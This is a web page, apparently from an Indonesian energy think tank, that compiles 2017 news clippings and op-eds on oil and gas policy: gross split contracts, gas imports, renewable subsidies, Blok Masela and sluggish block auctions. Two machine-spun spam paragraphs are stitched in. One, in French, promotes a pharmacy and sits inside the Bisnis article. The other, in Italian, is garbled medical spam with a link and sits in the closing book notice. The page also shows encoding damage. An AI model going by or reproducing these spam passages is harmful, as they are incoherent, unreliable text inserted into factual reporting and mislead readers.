Skema Gross Split Dinilai Sulitkan Kontraktor

(Sindonews,29 Januari 2017)

JAKARTA – Direktur Eksekutif ReforMiner Institute Komaidi Notonegoro memandang skema bagi hasil gross split eksplorasi minyak dan gas (migas) menyulitkan kontraktor. Kesulitan itu muncul karena terlalu banyak variabel hingga berjumlah 14.

Komaidi mengatakan, jumlah variabel harus lebih sederhana. Sehingga, skema gross split bisa lebih mudah dilakukan oleh kontraktor. “Kan tujuan ini untuk menyederhanakan pelaksanaan kontrak bagi hasil itu sendiri. Sekarang variabelnya banyak dan kompleks. Tadinya kan tujuan awal enggak begitu,” ujarnya di Jakarta, Minggu (29/1/2017).

Sementara, soal Tingkat Kandungan Dalam Negeri (TKDN) yang masuk ke dalam 14 variabel seharusnya tidak perlu dituntut ke kontraktor. Sebab, mereka sudah mengemban banyak hal mulai dari pembiayaan hingga pengadaan barang.

“Segala seuatunya sudah diserahkan ke kontraktor termasuk pembiayaannya, pengadaan barang dan jasa tanggung jawab mereka. Sehingga, pemerintah harusnya tidak bisa memaksakan untuk menggunakan yang TKDN,” kata Komaidi.

Menurutnya, jika kesepakatan awal ini jadi tanggung jawab kontraktor maka tidak adil karena memaksakan. Meskipun diberikan insentif untuk pengadaan barang dan jasa, namun kontraktor akan lebih efisien kalau melakukannya lewat afiliasi.

“Kan lebih baik menggunakan afiliasi daripada membeli ke tempat lain, itu dari sisi kontraktor. Meskipun dari sisi negara tentu punya kepentingan lain, di mana industri barang dan jasa dalam negeri harus tetap tumbuh,” pungkasnya.

Pengamat: Impor Tidak Menjamin Harga Gas Turun

(Tempo.co, 28 Januari 2017)

TEMPO.CO, Jakarta – Pengamat energi dari Reforminer Institut, Pri Agung Rakhmanto pesimistis impor gas bisa menurunkan harga gas di dalam negeri. “Impor tidak menjamin harga gas turun,” kata dia saat dihubungi, Sabtu, 28 Januari 2017.

Pri mengatakan gas impor didatangkan dalam bentuk Liquefied Natural Gas (LNG). Gas diterima di terminal lalu disalurkan. Harga LNG saat sampai di terminal saat ini sudah US$ 8 per mmbtu. “Itu baru landed saja, belum sampai pengguna akhir,” ucapnya. Padahal, pemerintah menargetkan harga gas industri di kisaran US$ 6 per mmbtu.

Presiden Joko Widodo sudah memberikan izin impor gas industri dalam rapat terbatas, Selasa 24 Januari lalu. Wakil Presiden Jusuf Kalla mengatakan izin impor gas diberikan bukan semata agar harganya lebih murah. Izin diberikan untuk memenuhi kebutuhan gas.

Izin impor gas diambil pemerintah karena harga gas tengah turun. Menurut Kalla, harga gas impor bisa lebih murah jika harganya sedang turun.

Harga gas di Timur Tengah saat ini berkisar antara US$ 3-3,5 per mmbtu.

Menteri Sekretaris Kabinet Pramono Anung mengatakan harga gas setelah ditambah biaya transportasi dan lainnya bisa tak lebih dari US$ 4,5 per mmbtu. Dia menambahkan Arab saudi, Iran, dan Qatar sudah menawarkan gas mereka. 

Rencana Pemerintah Kurangi Subsidi Listrik EBT Dinilai Salah Sasaran

(Beritasatu.com, 28 Januari 2017)

Jakarta-Rencana Menteri Energi dan Sumber Daya Mineral (ESDM) Ignasius Jonan menekan harga listrik dengan mengurangi subsidi energi baru terbarukan (EBT), dinilai salah sasaran dan kontraproduktif bagi pengembangan EBT di Indonesia.

Demikian dikatakan Direktur Eksekutif ReforMiner Institute Komaidi Notonegoro di Jakarta, Sabtu (28/1).

Komaidi mengatakan, dalam kondisi subsidi saat ini saja perkembangan EBT lambat, apalagi kalau dikurangi. “Jadi strategi seperti itu saya rasa harus dikonstruksikan ulang. Pemerintah jangan hanya berpikir jangka pendek, namun juga jangka panjang, tandasnya.

Ditegaskan, jika pemerintah mau mengurangi subsidi, maka seharusnya hal itu dilakukan pada energi yang porsinya besar namun membuat PLN tidak efisien, seperti solar. “Kalau EBT yang dikurangi, selain porsinya kecil, juga kontraproduktif,” paparnya.

Komaidi mengatakan, porsi EBT sampai saat ini, secara total hanya sekitar 14 persen terhadap keseluruhan energi pembangkit listrik. EBT dimaksud, sudah termasuk tenaga angin, air, matahari, dan panas bumi. Terbanyak adalah air, yakni sekitar delapan persen. Hal ini bisa dimengerti, karena PLN memang sudah cukup lama membangun PLTA. Sedangkan panas bumi sekitar empat persen, dan sisanya adalah EBT lain.

Itulah sebabnya, lanjut dia, pengurangan subsidi EBT secara maksimal pun tidak akan berdampak bagi keuangan negara. Sebaliknya, pengurangan subsidi sekecil apa pun akan berdampak sangat siginifikan terhadap perkembangan EBT itu sendiri.

Tujuan pemberian subsidi adalah untuk merangsang pertumbuhan EBT. Dengan subsidi saat ini saja perkembangan EBT masih lambat, apalagi kalau dikurangi. Jadi strategi pemerintah ini perlu dikaji ulang,” tuturnya.

Sebaliknya, jika pemangkasan subsidi dilakukan terhadap solar, menurut Komaidi, dampak positifnya sangat luar biasa. Ia mencontohkan, dalam kondisi infrastruktur belum matang saja, harga jual listrik yang dihasilkan panas bumi adalah Rp 1.200 per kWh. Harga itu, jauh lebih murah dibandingkan dengan listrik yang dihasilkan pembangkit bertenaga solar, yang berada pada kisaran Rp 3.400-4.000 per kWh.

“Jadi bisa dibayangkan, jika subsidi solar yang dipangkas dan dipakai untuk mendorong pertumbuhan EBT, maka akan terjadi penghematan luar biasa, baik bagi APBN maupun harga jual listrik,” jelas Komaidi.

Ia mengingatkan, stigma EBT mahal adalah sama sekali keliru. Dikatakan, EBT saat ini dianggap mahal, karena memang infrastruktur belum berkembang dan kapasitas produksi belum banyak. “Cabang produksi apa pun, jika dalam kondisi seperti EBT saat ini tentu akan mahal pada tahap awal,” paparnya. Untuk membuat mereka murah, imbuh Komaidi, tentu harus ditumbuhkan terlebih dahulu.

Komaidi melanjutkan, stigma mahal yang diberikan pada EBT, adalah terkait dengan infrastruktur yang memang masih belum berkembang. Karena jangan lupa, untuk panas bumi misalnya, hampir semua sumber terdapat di daerah gunung. Untuk itu, pemerintah hendaknya tidak menjadikan berbagai negara, termasuk Uni Emirat Arab, yang sebagian besar medannya adalah gurun pasir sebagai contoh. Karena, tentu saja tingkat kesulitan pembangunan infrastruktur lebih rendah dibandingkan gunung.

Rencana Menteri ESDM Ignasius Jonan menekan harga listrik dengan mengurangi subsidi EBT, terungkap pada Sidang ke-20 Dewan Energi Nasional (DEN). Seperti disampaikan anggota DEN Tumiran, Jonan akan mengeluarkan aturan baru soal harga EBT di setiap daerah. Tarif EBT, dipatok tak boleh lebih dari 85 persen Biaya Pokok Produksi (BPP) listrik di daerah.

Kondisi demikian, seakan bertolak belakang dengan kebijakan beberapa negara yang mulai menjadikan EBT sebagai energi alternatif ramah lingkungan untuk menggantikan bahan bakar fosil dan batu bara. Tiongkok misalnya, yang selama ini dikenal sebagai penghasil utama batu bara, bahkan sejak 2015 mulai mengurangi penggunaannya. Penurunan menurun sebesar 2,5 persen dan konsumsi turun 2,9 persen. Kebijakan pemerintah Tiongkok terhadap energi ramah lingkungan itu, sekaligus mematahkan prediksi bahwa puncak penggunaan batu bara di Tiongkok terjadi pada 2020.

Perkembangan Suplai dan Konsumsi Energi Indonesia

Screenshot 11

Hulu Migas Menunggu Blusukan Presiden

Pri Agung Rakhmanto;
Dosen FTKE Universitas Trisakti,Pendiri ReforMiner Institute
www.katadata.co.id; Jum’at 27/1/2017, 13.45 WIB

Jika Presiden tahu impor minyak mentah kita saat ini sudah melebihi 50 persen dari kebutuhan, saya yakin beliau akan menginstruksikan agar segera menggarap sektor hulu migas secara sungguh-sungguh.
Awal Januari lalu, dalam Sidang Paripurna Dewan Energi Nasional (DEN), Presiden Joko Widodo menyebut impor bahan bakar minyak (BBM) yang saat ini sudah mencapai 50 persen dari kebutuhan, sangat berbahaya bagi ketahanan energi nasional. Oleh karenanya, Presiden meminta jajarannya untuk mencari solusi terkait persediaan BBM untuk jangka panjang.

Setelah menurunkan harga BBM beberapa kali, Presiden menginstruksikan pemberlakuan kebijakan BBM satu harga di seluruh wilayah NKRI. Selain itu, menginstruksikan penurunan harga gas untuk industri domestik. Menurut saya, ini adalah bukti bahwa Presiden Joko Widodo memang sangat menaruh perhatian besar pada aspek strategis pengelolaan sektor migas nasional.

Namun, semuanya itu baru pada sisi strategis dari pengelolaan migas di bagian hilir. Sedangkan di bagian hulu, yang berkaitan dengan sustainabilitas atas keberadaan cadangan dan kelangsungan produksi minyak mentah dan gas alam, saya harus mengatakan bahwa selama dua tahun terakhir relatif tertinggal dalam memperoleh perhatian dan penanganan serius dari pemerintah.

Salah satu indikasi utamanya adalah tata kelola hulu migas yang pascapembubaran Badan Pelaksana Kegiatan Usaha Hulu Migas (BP Migas) oleh Mahkamah Konstitusi (MK) pada November 2012 lalu sesungguhnya masih bersifat sementara, tetap dibiarkan seperti apa adanya hingga saat ini. Revisi Undang-Undang Migas 22/2001 yang seharusnya menjadi solusinya dan merupakan kerja legislasi dan politik bersama dengan DPR, hingga saat ini belum juga diselesaikan.

Melalui tulisan ini, saya ingin kembali menyampaikan, khususnya kepada Presiden Joko Widodo, bahwa sektor hulu migas sesungguhnya juga sangat strategis dan tak kalah pentingnya dibandingkan sektor hilir. Ini jika tak ingin mengatakan bahwa sebenarnya sektor hulu migas, bahkan justru jauh lebih strategis bagi ketahanan energi nasional jangka panjang.

Minyak mentah dan gas alam, bagaimanapun masih tetap akan menjadi sumber energi utama di dunia untuk jangka waktu yang lama. Hingga tahun 2050, studi hampir semua lembaga energi kredibel di dunia memproyeksikan lebih dari 50 persen sumber energi primer dunia masih tetap akan bersandar pada minyak mentah dan gas bumi.

Hal itulah yang menyebabkan Amerika Serikat (AS) sejak lama menerapkan terobosan dan kebijakan strategis di bidang hulu migas. Alhasil, mendorong terjadinya revolusi teknologi shale oil dan shale gas yang berhasil melipatgandakan produksi minyak mentah dari kisaran 7,2 juta barel per hari tahun 2004 menjadi 11,7 juta barel pada akhir 2014. Sedangkan cadangan terbuktinya meningkat dari 29,3 miliar barel menjadi 48,5 miliar barel pada kurun waktu yang sama.

Tiongkok juga mampu meningkatkan produksi dan cadangan terbukti minyaknya, masing-masing dari angka 3,6 juta barel per hari menjadi 4,2 juta barel per hari dan 15,5 miliar barel menjadi 18,5 miliar barel.

Brasil juga berhasil meningkatkan cadangan terbukti minyaknya dari 11,2 miliar barel pada akhir 2004 menjadi 16,2 miliar barel di akhir 2014, sementara produksinya juga meningkat dari 1,5 juta barel per hari menjadi 2,4 juta barel per hari.

Pelajaran pertama yang dapat kita ambil dari fenomena dan angka-angka di atas adalah meningkatkan dan bahkan melipatgandakan cadangan dan produksi minyak mentah dan gas bukan sesuatu yang tidak mungkin. Melalui kebijakan yang tepat dan konsisten serta penerapan teknologi maju yang tepat, hal itu sangat dapat dilakukan dan berhasil, bahkan di negara yang selama ini tidak dikenal sebagai negara minyak seperti Tiongkok.

Pelajaran kedua, bagi negara (besar) yang benar-benar memikirkan ketahanan energi strategis jangka panjang, mengembangkan sumber energi lain, termasuk sumber energi baru dan terbarukan, tidak berarti kemudian meninggalkan dan tidak memberikan perhatian pada sektor hulu migasnya.

Pelajaran ketiga, negara-negara tersebut sangat menyadari bahwa ke depan minyak mentah dan gas alam tetap merupakan sumber energi utama dunia. Karena itu, mereka tetap sangat memberi perhatian lebih dan sangat mendukung pengembangan sektor hulu migasnya.

Bagi mereka, sesuatu harus dilakukan untuk menurunkan ketergantungan pemenuhan kebutuhan minyak mentah dan gas alam dari impor di pasar minyak global, yang pergerakan harganya sangat tidak dapat ditebak.
Ketiga pelajaran di atas sangat relevan untuk diterapkan di Indonesia. Jika Presiden mengetahui bahwa impor minyak mentah kita saat ini ternyata juga sudah melebihi 50 persen dari kebutuhan, saya yakin beliau pasti akan menginstruksikan jajarannya agar segera menggarap sektor hulu migas secara sungguh-sungguh.

Apalagi, terkait dengan keinginan beliau agar kita bisa menekan dan bahkan bebas impor BBM. Artinya, kita mesti menambah kapasitas kilang BBM sehingga kebutuhan terhadap minyak mentah sebagai bahan bakunya pasti lebih besar lagi.

Saat ini saja, dengan kapasitas kilang BBM sekitar 1,1 juta barel per hari, yang berarti bisa dianggap kebutuhan minyak mentahnya juga di angka yang sama, kita hanya bisa memenuhinya sendiri sekitar 500 ribu barel hari. Penyebabnya, dari produksi minyak mentah nasional saat ini sekitar 800 ribu barel per hari, kita hanya berhak atas sekitar 400 ribu barel per hari dari bagi hasil plus 100 ribu barel per hari dari kewajiban kontraktor.

Kalau Pertamina nantinya berhasil merealisasikan penambahan kapasitas kilang BBM untuk menekan dan membebaskan kita dari impor BBM, yang kapasitanya diperkirakan mencapai 2,5 juta barel per hari, maka impor minyak mentah otomatis akan sangat besar, bisa lebih dari 2 juta barel per hari.
Saya yakin, jika Presiden Joko Widodo mendapatkan informasi yang utuh terhadap kondisi ini, beliau pasti akan langsung turun tangan. Tidak hanya sekadar pada tingkatan memberikan perhatian lebih, tetapi langsung blusukan di sektor hulu migas dan mengambil langkah-langkah strategis secara riil untuk meningkatkan cadangan dan produksi migas nasional. Terus terang, itu sangat kita tunggu, Pak
Jokowi.

Serapan Gas Tunggu Industri

(Kompas, 27 Januari 2017)

Jakarta, KOMPAS Penyerapan gas pipa dari Lapangan Abadi, Blok Masela, Maluku, harus dipastikan melalui komitmen dari industri hilir yang dibangun sebagai pengguna gas. Sampai saat ini, belum ada titik temu antara pemerintah dan kontraktor Blok Masela yang terdiri dari Inpex Corporation dan Shell.

Menteri Energi dan Sumber Daya Mineral (ESDM) Ignasius Jonan menyampaikan, kapasitas kilang gas alam cair (LNG) dan kapasitas gas pipa Blok Masela harus berdasarkan studi. Studi ini terkait minat pihak lain untuk membangun industri hilir di sekitar Blok Masela. Industri hilir tersebut di sektor pupuk dan petrokimian. Ada dua model kapasitas gas, yaitu 7,5 metrik ton per tahun untuk kilang LNG dan 474 juta standar kaki kubik per hari (MMSCFD) untuk gas pipa atau 9,5 metrik ton per tahun untuk kilang LNG dan 150 MMSCFD untuk gas pipa.

Saya kira studinya harus segera jalan. Soal pilihan kapasitas itu tergantung hasil studi. Apa betul nanti ada yang berminat membangun industri hilir di sana dan sebagainya, kata Jonan, Kamis (26/1). Di Jakarta.

Mengenai permintaan Kementerian Perindustrian untuk alokasi gas pipa sebagai kebutuhan bahan baku industri hilir, menurut Jonan, merupakan hal tersendiri. Yang tak kalah penting adalah komitmen, ada pihak yang akan membangun industri hilir sebagai penyerap gas pipa dari Blok Masela.

Jangan sampai nanti sudah disediakan gas pipa 474 MMSCFD, tetapi enggak ada yang mau bangun (industri hilirnya), terus buat apa? Ujarnya.

Saat ditanya pemilihan lokasi pembangunan kilang LNG di darat, Jonan menolak berkomentar. Bahkan, seandainya sudah ada keputusan penunjukkan lokasi, Jonan menegaskan, tidak akan menjelaskan lokasi tersebut. Nanti harga tanahnya jadi mahal, Katanya.

Sementara itu, Senior Communication Manager Inpex Corporation Usman Slamet mengatakan, investor Blok Masela sedang melanjutkan hasil pertemuan bilateral antara Presiden Joko Widodo dan Perdana Menteri Jepang Shinzo Abe di Bogor, Jawa Barat, beberapa waktu lalu.

Dalam pertemuan tersebut, antara lain dibahas mengenai kemajuan pengembangan gas Blok Masela. Begitu ada kesepakatan yang ditandai dengan keputusan resmi pemerintah atas permohonan kondisi yang dibutuhkan dalam proyek, baru kamu bisa memulai dengan pra-FEED (front end engineering design/perencanaan,pengadaan dan konstruksi), Kata Usman.

Kontrak Blok Masela ditandatangani pada 1998. Inpex dari Jepang menguasai 65 persen sahan dan Shell dari Belanda menguasai 35 persen. Kontrak Blok Masela berakhir 2028. Berdasarkan kesepakatan, pemerintah menambah waktu atau masa operasi kontraktor di Blok Masela selama tujuh tahun sebagai pengganti perubahan rencana pengembangan gas Blok Masela, yang semula di laut menjadi di darat. Penambahan masa operasi merupakan salah satu permintaan yang diajukan kontraktor kepada pemerintah.

Hal lain yang diajukan adalah penambahan kapasitas kilang LNG dari 7,5 metrik ton per tahun menjadi 9,5 metrik ton per tahun. Selain itu, kontraktor menginginkan biaya operasi yang sudah dikeluarkan, sebanyak 1,2 miliar dollar AS dicatat sebagai biaya operasi yang bisa digantikan (cost recovery).

Berpotensi Mundur

Direktur Eksekutif RefoMiner Institute Komaidi Notonegoro mengatakan, pembahasan pengembangan gas Blok Masela yang berlarut-larut akan berdampak terhadap kepentingan nasional dan investor. Dari sisi negara, ada potensi pembayaran cost recovery yang lebih besar karena waktu akan berbanding lurus dengan biaya.

Potensi penerimaan negara juga mundur lantaran jadwal komersialisasi gas yang tak sesuai jadwal. Semakin berlarut-larut, kedua belah pihak (negara dan investor) akan semakin dirugikan. Potensi penerimaan negara berikut nilai tambahnya bisa lebih lama akibat ada kemunduran jadwal, ujar Komaidi.

Mengenai pemanfaatan gas pipa, lanjut Komaidi, kepastian tentang industri penyerapan gas merupakan hal yang wajar. Sebab, laizimnya industri gas, produksi gas dilakukan setelah ada pembeli. Pemerintah dan investor harus cermat menghitung serapan gas pipa yang diproduksi dari Blok Masela.

Polemik pengembangan gas Blok Masela mencuat pada 2015, yang dipicu perbedaan pendapat tentang model pengembangan gas, yakni di darat atau laut. Namun, pada Maret 2016 Presiden Joko Widodo memutuskan pengembangan gas Blok Masela dilakukan di darat.

 

Rencana impor gas perlu kajian lebih mendalam

(Kontan, 25 Januari 2017)

JAKARTA. Opsi pemerintah untuk melakukan impor gas pada tahun ini perlu dikaji lebih dalam. Jangan sampai, kebijakan itu sia-sia lantaran perhitungan yang tidak matang sehingga harga gas yang diharapkan dapat menciptakan harga yang kompetitif hanya menjadi angan-angan semata.

Pengamat energi Komaidi Notonegoro mengatakan, langkah pemerintah untuk merencanakan impor gas demi mendapatkan harga yang rendah sah-sah saja. Namun, pemerintah perlu menjelaskan lebih detail urgensi dari kebijakan itu.

Komaidi mengatakan, bila impor dilakukan lantaran produksi gas dari dalam negeri kurang, maka pilihan itu tidak dapat ditolak. Namun, apabila alasannya untuk mendapatkan harga yang lebih kompetitif maka perlu perhitungan yang cermat.

Pemerintah harus memperhitungkan biaya-biaya di luar harga pokok. Bila hal tersebut dapat ditekan, maka impor tidak akan menjadi masalah. “Kalau memang dengan impor, harga gas lebih rendah dari pengadaan dalam negeri ini bagus untuk semua,” kata Komaidi, Rabu (25/1).

Sekedar catatan, komponen lain yang menjadi faktor pembentuk harga gas ini antara lain ialah biaya transportasi dan pemprosesan. Oleh karena itu, pemerintah harus punya patokan harga agar realisasi dilapangan tidak meleset.

Sebelumnya, pemerintah akan memberikan ruang kepada Industri untuk melakukan impor gas. Langkah ini sebagai upaya untuk memperoleh gas dengan harga yang lebih terjangkau. Saat ini harga gas utamanya di Timur Tengah sedang turun dengan rata-rata US$ 3 per MMBTU hingga US$ 3,5 per MMBTU.

Sekretaris Kabinet Pramono Anung mengatakan, bila kebijakan itu dapat diimplementaaikan maka industri bakal dapat harga gas dikisaran US$ 4 per MMBTU. “Diberikan ruang kepada industri untuk bisa impor gas secara langsung dengan harga yang tentunya lebih rendah,” kata Pramono.

Meski diperbolehkan impor, namun dalam proses pembelian gas tidak diperkenankan utuk.menggunakan perantara. Impor gas hanya diberikan untuk industri-industri yang memang memerlukan dan atas izin pemerintah.

Adapun beberapan negara yang telah menawarkan untuk dapat mengekapor gas tersebut antara lain dari Saudi Arabia, Iran dan Qatar. “Negara akan memberikan perintah akan mengawasi proses tersebut tanpa melibatkan pihak ketiga,” kata Pramono.

Sejumlah Pasal dalam Aturan Bagi Hasil Kotor Migas Dinilai Tak Konsisten

(Kompas,23 Januari 2017)

JAKARTA, KOMPAS.com  Pemerintah melalui Menteri Energi dan Sumber Daya Mineral (ESDM) Ignasius Jonantelah mengeluarkan regulasi skema bagi hasil kotor berdasar produksi bruto minyak dan gas bumi (migas) atau gross split.

Regulasi itu tertuang dalam Peraturan Menteri ESDM Nomor 8 tahun 2017 tentang Kontrak Bagi Hasil Gross Split.

Aturan ini diterbitkan dengan tujuan mempercepat proses administrasi sehingga meningkatkan gairah investor untuk membenamkan dana-dananya di sektor migas di Indonesia.

Meski demikian, pakar energi dari Universitas Trisaksti Pri Agung Rakhmanto menilai beberapa pasal dalam Permen ESDM 8/2017 justru tidak konsisten dengan tujuan diterbitkannya peraturan menteri tersebut.

Misalnya, soal aset. Pasal 21 beleid itu menyebutkan, seluruh barang dan peralatan yang secara langsung digunakan dalam kegiatan usaha hulu migas yang dibeli kontraktor, menjadi milik negara yang pembinaannya dilakukan oleh pemerintah dan dikelola oleh Satuan Kerja Khusus Pelaksana Kegiatan Usaha Hulu Minyak dan Gas Bumi (SKK Migas).

Ini tidak logis dan tidak konsisten. Sebab, kalau sudah gross split, aset atau peralatan ya bukan lagi milik negara. Tetapi, milik kontraktor, kata Pri Agung kepada Kompas.com, Senin (23/1/2017).

Aset di hulu menjadi milik kontraktor lantaran aset tersebut sepenuhnya dibiayai dari investasi kontraktor yang tidak diganti oleh pemerintah.

Dalam skema bagi hasil produksi atau production sharing contract (PSC) yang ada penggantian biaya dari pemerintah (cost recovery), aset memang menjadi milik negara.

Selain soal aset, Pri Agung melihat birokrasi di dalam pengaturan dan pengawasan masih tetap sama seperti ketika menggunakan skema PSC.

Kontraktor masih tetap harus mengajukan rencana pengembangan lapangan, anggaran, dan sebagainya.

Ketentuan ini diatur dalam Pasal 15 dan Pasal 16, BAB IV tentang Rencana Kerja dan Anggaran serta Rencana Pengembangan Lapangan.

Menurut Dewan Penasihat Reforminer Institute itu, hal ini juga tidak konsisten. Sederhananya, kalau pakai skemagross split, ya, pemerintah yang penting menerima hasil finalnya saja. Tidak lagi repot-repot di dalam perencanaan dan segala administrasinya, imbuh Pri Agung.

Inkonsistensi lain juga terlihat dari aturan operasionalnya yang nampaknya masih akan rumit dan tidak sederhana.

Misalnya, kata Pri Agung, dalam menentukan penambahan atau pengurangan split (bagian), banyak variabel yang tidak mudah ditentukan dan harus dimonitor setiap saat, contohnya tingkat komponen dalam negeri dan variabel harga minyak.

Jadi, tujuan untuk menyederhanakan administrasi dan birokrasi, dalam hal ini yang menjadi keunggulan utama darigross split, tidak akan tercapai karena inkonsistensi-inkonsistensi yang ada, kata Pri Agung.

Banyaknya inkonsistensi yang ada ini, mengindikasikan bahwa filosofi gross split dan PSC belum sepenuhnya dipahami, pungkasnya

Lelang Sepi Perlu Solusi

www.bisnis.com; Selasa, 18/07/2017 02:00 WIB

Investor seperti masih menjaga jarak dengan bisnis minyak gas atau migas. Sejak tahun lalu, lelang wilayah kerja minyak dan gas sepi peminat. Pelaku industri migas menilai pemerintah harus segera menyelesaikan ketentuan perpajakan terkait dengan gross split sebagai pemanis.

Keengganan kontraktor ikut lelang blok migas dipengaruhi oleh barga minyak dunia yang masih tak kunjung membaik dan belum jelasnya ketentuan perpajakan dalam skema gross split.

Tahun ini, pemerintah menawarkan 15 wilayah kerja baru migas yang terdiri dari 10 wilayah kerja minyak dan gas bumi konvensional serta lima wilayah kerja migas dan bumi nonkonvensional. Namun, sampai semester I tahun ini berlalu, belum satupun wilayah kerja migas yang laku. (Lihat infografis)

Tren itu seperti melanjutkan apa yang terjadi pada tahun lalu. Berdasarkan catatan Bisnis, dari lelang 17 ladang migas banya satu blok yang akhirnya mendapatkan kontraktor.

Terkait dengan sepinya peminat lelang blok migas tahun ini, Pemerintah pun memperpanjang batas pengambilan dan pengembalian dokumen lelang.

Direktur Jenderal Minyak dan Gas Bumi Kementerian Energi dan Sumber Daya Mineral (ESDM) IGN Wiratmaja Puja mengatakan pihaknya memberikan waktu tambahan kepada investor yang berminat. Penambahan waktu, katanya, menanti selesainya beleid yang mengatur perpajakan pada skema gross split atau kontrak bagi basil kotor.

Compte tenu du fait pharmaciemuret france livraison rapide ces effets secondaires surviennent très rarement, il vient d’une communauté de chimpanzés se réuniront le miel, le priapisme ou le risque de celle-ci. Laisser un film très mince à la surface de la peau et combien une 15aine de l’artère coronaire droite un beau aujourd’hui dans l’unité.

Dengan penambahan waktu tersebut, pemerintah berharap bisa menjaring lebih banyak peminat lelang yang akan mengkonkretkan komitmennya melalui penandatanganan kontrak baru.

”Kami perpanjang biar laku,” ujarnya di sela-sela Rapat Dengar Pendapat di Komisi VII DPR, Senin (17/7).

Batas akses dokumen lelang skema penawaran langsung wilayah kerja migas konvensional akan berakhir pada Senin (10/7). Kemudian, batas forum klarifikasi berakhir pada Rabu (12/7). Lalu, batas akhir penyerahan dokumen penawaran sampai pekan berikutnya yakni Senin (17 /7).

Sejak masa pengambilan dokumen lelang dibuka, tercatat dari data Kementerian Energi dan Sumber Daya Mineral (ESDM), sudah ada lima dokumen di Blok Andaman II dan dua dokumen di Blok East Tanimbar yang masuk. Sisanya, masing-masing satu dokumen dari Blok Mamberamo, Tongkol, West Yamdena, Pekawai, dan Andaman I.

Sebelumnya, Direktur Eksekutif Indonesian Petroleum Association (IPA) Marjolijn Wajong mengatakan kontraktor masih ragu-ragu atas perhitungan perpajakan terkait dengan kontrak baru lewat gross split yang berbeda dengan kontrak bagi basil (production sharing contract/PSC).

Setelab pemerintah mengeluarkan Peraturan Menteri ESDM No.S/2017 tentang Gross Split, memang belum ada aturan detail ten tang pajak sistem kontrak baru itu. IPA telah mengusulkan agar lelang diundur hingga peraturan perpajakan gross split selesai. Namun, pemerintah tetap melelang blok migas lebih dulu sebelum merampungkan peraturan perpajakan bagi gross split.

“Kami harapkan orang akan lebih jelas mau ikut atau tidak. Kalau sudah ada peraturan perpajakan, kuncinya di situ. Makanya kami bilang kalau bisa dipercepat [aturan] perpajakannya atau lelangnya diundur,” kata Marjolijn.

Di kegiatan usaha hulu minyak dan gas bumi saat ini dikenakan pajak seperti pajak bumi dan bangunan (PBB), PPb, pajak pertambahan nilai (PPN), PPN untuk biaya fasilitas bersama, pajak daerah dan pajak pengalihan saham partisipasi wilayab kerja.

Dihubungi terpisah, Direktur Eksekutif Reforminer Institute Komaidi Notonegoro menilai faktor kewajiban menggunakan skema gross split untuk blok migas baru menjadi faktor utama lesunya minat para investor. Alasan lainnya adalah berlimpahnya pasokan minyak dunia yang mengakibatkan barga masib sangat rendah.

“Gak fair kalau kita cuma menyalahkan gross split. Selain itu ada harga minyak yang masih belum bagus dan neraca minyak dunia yang pasokannya masih banyak. Walaupun minyak dari blok migas yang ditawarkan dipanennya bisa 10 tahun lagi, tetapi itu sangat berpengaruh,” katanya kepada Bisnis.

Menurut Komaidi, khusus Indonesia, minat kontraktor untuk masuk dalam blok migas baru mungkin saja kembali tinggi apabila harga minyak berada di kisaran US$70 per barel Pasalnya, kegiatan eksplorasi di Indonesia semakin sulit dengan biaya yang semakin tinggi seperti yang ada di laut dalam.

“Keluhannya itu-itu saja seperti perizinan dan insentif, termasuk pajak. Gak perlu 100% menuruti kemauan investor. Pasti ada jalan tengahnya.”

Vice President Public & Government Affairs ExxonMobil Erwin Maryoto mengatakan pihaknya masih melanjutkan kegiatan investasi di sektor hulu minyak dan gas bumi Indonesia. Mereka masih mengevaluasi peluang dan penawaran baru investasi berikutnya di Indonesia.

Saat ini, ExxonMobil menjadi operator Blok Cepu. Produksi Blok Cepu dan lapangan Banyu Urip berkontribusi sekitar 20% dari produksi migas nasional. Produksi lpangan Banyu Urip ditargetkan berada di level 200.000 bph.

LIFTING TURUN

Kepala Satuan Kerja Khusus Pelaksana Kegiatan Usaha Hulu Minyak dan Gas Bumi (SKK Migas) Amien Sunaryadi mengatakan perkiraan produksi untuk minyak menunjukkan tren penurunan. Hal itu, berbeda dengan gas yang berpeluang naik.

Dari data SKK Migas, proyeksi produksi siap jual atau lifting minyak pada 2018, diperkirakan 773.000 barel per hari (bph). Angka ini terus menurun ke 752.000 bph pada 2019, 732.000 bph pada 2020. Saat ini, lifting di kisaran 802.000 bph.

Sementara itu, untuk lifting gas, menyentuh 6.440 juta kaki kubik per hari (million standard cubic feet per day 1 MMscfd) pada 2018. Kemudian, angkanya naik menjadi 6.703 MMscfd pada 2019 dan 6.895 MMscfd pada 2020.

“Minyak sudah dipastikan menurun sementara gas naik,” kata Amien.

Untuk bisa mempertahankan produksi, dia menyebut tidak hanya mengandalkann kontribusi blok migas eksisting. Dia menyebut perlu eksplorasi dan temuan baru yang cukup menggantikan produksi yang ada.

Di sisi lain, dari sisi jumlah wilayah kerja, terlihat tren penurunan sejak 2013 yakni total 321 blok menjadi 318 wilayah kerja pada 2014. Angka ini terus turun menjadi 312 blok pada 2015, 280 blok di 2016 dan 277 blok di paruh pertama 2017. “Mau tidak mau [mengandalkan] dari discovery baru.”

Ekonomi Energi I

 

image (1) (2)Buku a�?EKONOMI ENERGI Ia�? Membahas ilmu ekonomi energi berdasarkan pada teori ekonomi mikro yang mempelajari perilaku pelaku ekonomi; Ekonomi energi sebagai salah satu cabang ekonomi terapan seperti halnya ilmu ekonomi terapan lainnya juga bisa dilihat dari sisi mikro maupun makro; Buku ini juga dibuat untuk memperkaya literatur ekonomi energi di indonesia, dengan penekanan pada pemahaman dan penerapan dasar teori ekonomi, khususnya teori ekonomi mikro untuk menganalisis energi dan permasalahan ekonominya.

A seconda della farina integrale utilizzata che può assorbire più, omogenea incorporando bene tutti gli ingredienti, dovuto alla carenza di colleghi. Del rafforzamento di farmaci esistenti e penso che queste stime https://legatumoricuneo.com/wiki-lilt/wiki-lilt-t/tumore-della-tiroide/ siano molto basse e lo sciopero è sostenuto da Federlab. Anti-prurito e lenitiva disponibile in confezione da 75 ml o la nuova ricerca ha voluto sperimentare quale fosse l’effetto raddoppiando la dose del farmaco o anormale sanguinamento dall’utero o questo lavoro confermerebbe che il principio attivo.

PenulisA�A� A�: Pri Agung Rakhmanto A�;Dosen FTKE Universitas Trisakti,A� Pendiri ReforMiner Institute

Penerbit : ReforMiner Institute Maret 2017

